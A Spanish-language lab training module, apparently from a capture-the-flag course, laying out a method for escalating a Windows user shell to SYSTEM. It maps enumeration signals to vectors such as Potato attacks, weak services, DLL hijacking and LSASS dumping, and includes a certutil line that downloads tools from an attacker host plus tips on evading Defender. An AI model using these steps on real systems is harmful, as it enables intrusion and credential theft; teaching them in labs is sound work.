Track Windows / Teoría
02 De usuario a SYSTEM · El método
Escalada local: el método
Tienes un shell de usuario. El objetivo es SYSTEM (o Administrator elevado). No es magia ni suerte: es un árbol de decisión. Este módulo te da el mapa que conecta 'lo que ves al enumerar' con 'el vector que explotas', y cada rama tiene su módulo y su máquina.
🧭El método universal (sirve para TODO vector)
1
Enumera
automático (winPEAS/PowerUp) + manual (whoami /priv, sc, schtasks, icacls).
2
Encuentra la mala config
algo que un proceso privilegiado usa y que TÚ puedes influir (escribir, reemplazar, suplantar).
3
Abusa limpio
coloca tu payload, dispara el gatillo (reinicio de servicio, tarea, login) y recoge tu shell de SYSTEM.
4
Verifica
whoami -> nt authority\system. Lee la flag de root/SYSTEM y envíala.
Siempre es lo mismo: alguien con más poder confía en algo que tú controlas.
🌳El árbol de decisión (señal -> vector -> módulo)
Al enumerar vas a ver señales. Cada una apunta a un vector concreto:
| whoami /priv tiene SeImpersonate | familia POTATO -> SYSTEM. Módulo POTATO. |
| whoami /priv tiene SeBackup/SeRestore/SeTakeOwnership/SeDebug | abuso de privilegios de token. Módulo Tokens. |
| un servicio con binPath raro / permisos débiles | servicios inseguros. Módulo Servicios. |
| una carpeta del PATH escribible / una DLL ausente | path/DLL hijacking. Módulo Hijacking. |
| una tarea programada que corre un script escribible | tareas/autoruns. Módulo Tareas. |
| AlwaysInstallElevated = 1 / credenciales en el registro | instaladores/registro. Módulo Instaladores. |
| puedo leer la SAM / dumpear LSASS | robo de credenciales. Módulo Credenciales. |
| soy admin pero en Medium (UAC) | UAC bypass y otros. Módulo UAC/otros. |
🔧Preparar el terreno
- Shell estable: si tienes una reverse shell cruda, mejora a meterpreter o a una PowerShell interactiva.
- Transferir herramientas: servidor en tu Kali (
python3 -m http.serveroimpacket-smbserver) y descarga concertutil -urlcache -f http://IP/winpeas.exe wp.exeoiwren PowerShell. - AV: Defender puede borrar tus tools. Renómbralas, usa versiones .bat, o enumera a mano. En lab suele estar relajado.
- Arquitectura: usa binarios x64 si el Windows es x64 (casi siempre). Mezclar 32/64 da fallos raros.
"Tengo el vector pero mi shell se cae al explotar"
Las reverse shells crudas mueren fácil. Usa una más estable (meterpreter, nc estable) o lanza el exploit que te devuelva una shell NUEVA de SYSTEM a otro listener.
"Escalé pero sigo en Medium integrity"
Pasaste a admin pero no a High/SYSTEM. Si necesitas SYSTEM real, combina con un Potato o un UAC bypass según el caso.
🔎 No memorices comandos. Ten el Arsenal abierto en otra pestaña y busca ahí el comando exacto cuando lo necesites. Entiende el POR QUÉ aquí; el COMANDO lo copias del Arsenal.
Abrir Arsenal